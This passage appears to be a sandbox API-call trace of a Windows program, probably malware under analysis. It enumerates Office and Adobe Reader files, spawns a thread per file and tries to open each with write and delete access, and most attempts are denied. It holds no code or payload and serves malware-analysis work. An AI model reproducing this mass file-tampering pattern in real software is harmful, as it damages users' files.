RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbc38 [0173.895] wcscpy (in: _Dest=0xd4bbc38, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.895] wcscat (in: _Dest=0xd4bbc38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.895] wcscat (in: _Dest=0xd4bbc38, _Source="StaticText.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" [0173.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4bbc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc2c [0173.896] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3983, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTAREA.JPG", cAlternateFileName="")) returned 1 [0173.896] wcscmp (_String1="TEXTAREA.JPG", _String2=".") returned 1 [0173.896] wcscmp (_String1="TEXTAREA.JPG", _String2="..") returned 1 [0173.896] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x940d30 [0173.896] wcscpy (in: _Dest=0x940d30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.896] wcscat (in: _Dest=0x940d30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.896] wcscat (in: _Dest=0x940d30, _Source="TEXTAREA.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" [0173.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc28 [0173.897] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTBOX.JPG", cAlternateFileName="")) returned 1 [0173.897] wcscmp (_String1="TEXTBOX.JPG", _String2=".") returned 1 [0173.897] wcscmp (_String1="TEXTBOX.JPG", _String2="..") returned 1 [0173.897] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xde) returned 0x940e18 [0173.897] wcscpy (in: _Dest=0x940e18, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.897] wcscat (in: _Dest=0x940e18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.898] wcscat (in: _Dest=0x940e18, _Source="TEXTBOX.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" [0173.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc24 [0173.898] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTVIEW.JPG", cAlternateFileName="")) returned 1 [0173.898] wcscmp (_String1="TEXTVIEW.JPG", _String2=".") returned 1 [0173.899] wcscmp (_String1="TEXTVIEW.JPG", _String2="..") returned 1 [0173.899] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x940f00 [0173.899] wcscpy (in: _Dest=0x940f00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.899] wcscat (in: _Dest=0x940f00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.899] wcscat (in: _Dest=0x940f00, _Source="TEXTVIEW.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" [0173.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0 [0173.900] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="UNFORM~1.JPG")) returned 1 [0173.900] wcscmp (_String1="UnformattedNumeric.jpg", _String2=".") returned 1 [0173.900] wcscmp (_String1="UnformattedNumeric.jpg", _String2="..") returned 1 [0173.900] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8ec1d8 [0173.900] wcscpy (in: _Dest=0x8ec1d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" [0173.900] wcscat (in: _Dest=0x8ec1d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\" [0173.900] wcscat (in: _Dest=0x8ec1d8, _Source="UnformattedNumeric.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" [0173.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8ec1d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8 [0174.258] FindNextFileW (in: hFindFile=0x93b1f8, lpFindFileData=0x9696c8 | out: lpFindFileData=0x9696c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="UNFORM~1.JPG")) returned 0 [0174.613] FindClose (in: hFindFile=0x93b1f8 | out: hFindFile=0x93b1f8) returned 1 [0175.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9696c8) returned 1 [0175.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcd30) returned 1 [0175.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x939268) returned 1 Thread: id = 6433 os_tid = 0xe3c [0172.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html")) returned 0x20 [0173.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html", dwFileAttributes=0x20) returned 0 [0173.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0173.598] GetLastError () returned 0x5 [0173.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html", dwFileAttributes=0x20) returned 0 [0173.599] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8de098) returned 1 Thread: id = 6438 os_tid = 0x1de8 [0172.075] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-h")) returned 0x20 [0172.076] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H", dwFileAttributes=0x20) returned 0 [0172.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.076] GetLastError () returned 0x5 [0172.076] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H", dwFileAttributes=0x20) returned 0 [0172.076] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7178) returned 1 Thread: id = 6495 os_tid = 0xdf0 [0172.555] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf")) returned 0x20 [0172.556] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0172.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.556] GetLastError () returned 0x5 [0172.556] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0172.556] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9f80) returned 1 Thread: id = 6496 os_tid = 0xdf4 [0172.557] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf")) returned 0x20 [0172.557] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf", dwFileAttributes=0x20) returned 0 [0172.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standard.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.557] GetLastError () returned 0x5 [0172.557] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Standard.pdf", dwFileAttributes=0x20) returned 0 [0172.558] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494c18) returned 1 Thread: id = 6497 os_tid = 0xdf8 [0172.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf")) returned 0x20 [0172.559] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0172.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.559] GetLastError () returned 0x5 [0172.559] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0172.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dde10) returned 1 Thread: id = 6498 os_tid = 0xe10 [0172.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc")) returned 0x20 [0172.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC", dwFileAttributes=0x20) returned 0 [0172.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calndr98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.560] GetLastError () returned 0x5 [0172.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALNDR98.POC", dwFileAttributes=0x20) returned 0 [0172.561] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7978) returned 1 Thread: id = 6499 os_tid = 0x1258 [0172.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso11.poc")) returned 0x20 [0172.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC", dwFileAttributes=0x20) returned 0 [0172.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso11.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.564] GetLastError () returned 0x5 [0172.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO11.POC", dwFileAttributes=0x20) returned 0 [0172.564] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b73a0) returned 1 Thread: id = 6500 os_tid = 0xe24 [0172.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso98.poc")) returned 0x20 [0172.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC", dwFileAttributes=0x20) returned 0 [0172.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calso98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.566] GetLastError () returned 0x5 [0172.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALSO98.POC", dwFileAttributes=0x20) returned 0 [0172.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b78f0) returned 1 Thread: id = 6501 os_tid = 0xe2c [0172.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.dpv")) returned 0x20 [0180.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV", dwFileAttributes=0x20) returned 0 [0180.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.394] GetLastError () returned 0x5 [0180.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.DPV", dwFileAttributes=0x20) returned 0 [0180.394] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8308) returned 1 Thread: id = 6502 os_tid = 0xe30 [0172.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml")) returned 0x20 [0180.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML", dwFileAttributes=0x20) returned 0 [0180.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.393] GetLastError () returned 0x5 [0180.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML", dwFileAttributes=0x20) returned 0 [0180.393] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8390) returned 1 Thread: id = 6503 os_tid = 0x974 [0172.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz.poc")) returned 0x20 [0180.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC", dwFileAttributes=0x20) returned 0 [0180.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.392] GetLastError () returned 0x5 [0180.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ.POC", dwFileAttributes=0x20) returned 0 [0180.392] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8418) returned 1 Thread: id = 6504 os_tid = 0x50c [0172.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz11.poc")) returned 0x20 [0180.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC", dwFileAttributes=0x20) returned 0 [0180.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catwiz11.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.392] GetLastError () returned 0x5 [0180.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATWIZ11.POC", dwFileAttributes=0x20) returned 0 [0180.392] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b84a0) returned 1 Thread: id = 6505 os_tid = 0xc34 [0172.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.dpv")) returned 0x20 [0180.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV", dwFileAttributes=0x20) returned 0 [0180.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.391] GetLastError () returned 0x5 [0180.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.DPV", dwFileAttributes=0x20) returned 0 [0180.391] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cff80) returned 1 Thread: id = 6506 os_tid = 0x129c [0172.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml")) returned 0x20 [0180.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML", dwFileAttributes=0x20) returned 0 [0180.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.390] GetLastError () returned 0x5 [0180.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML", dwFileAttributes=0x20) returned 0 [0180.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0c00) returned 1 Thread: id = 6507 os_tid = 0xf98 [0172.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98.poc")) returned 0x20 [0179.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC", dwFileAttributes=0x20) returned 0 [0179.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98.poc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0180.389] GetLastError () returned 0x5 [0180.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98.POC", 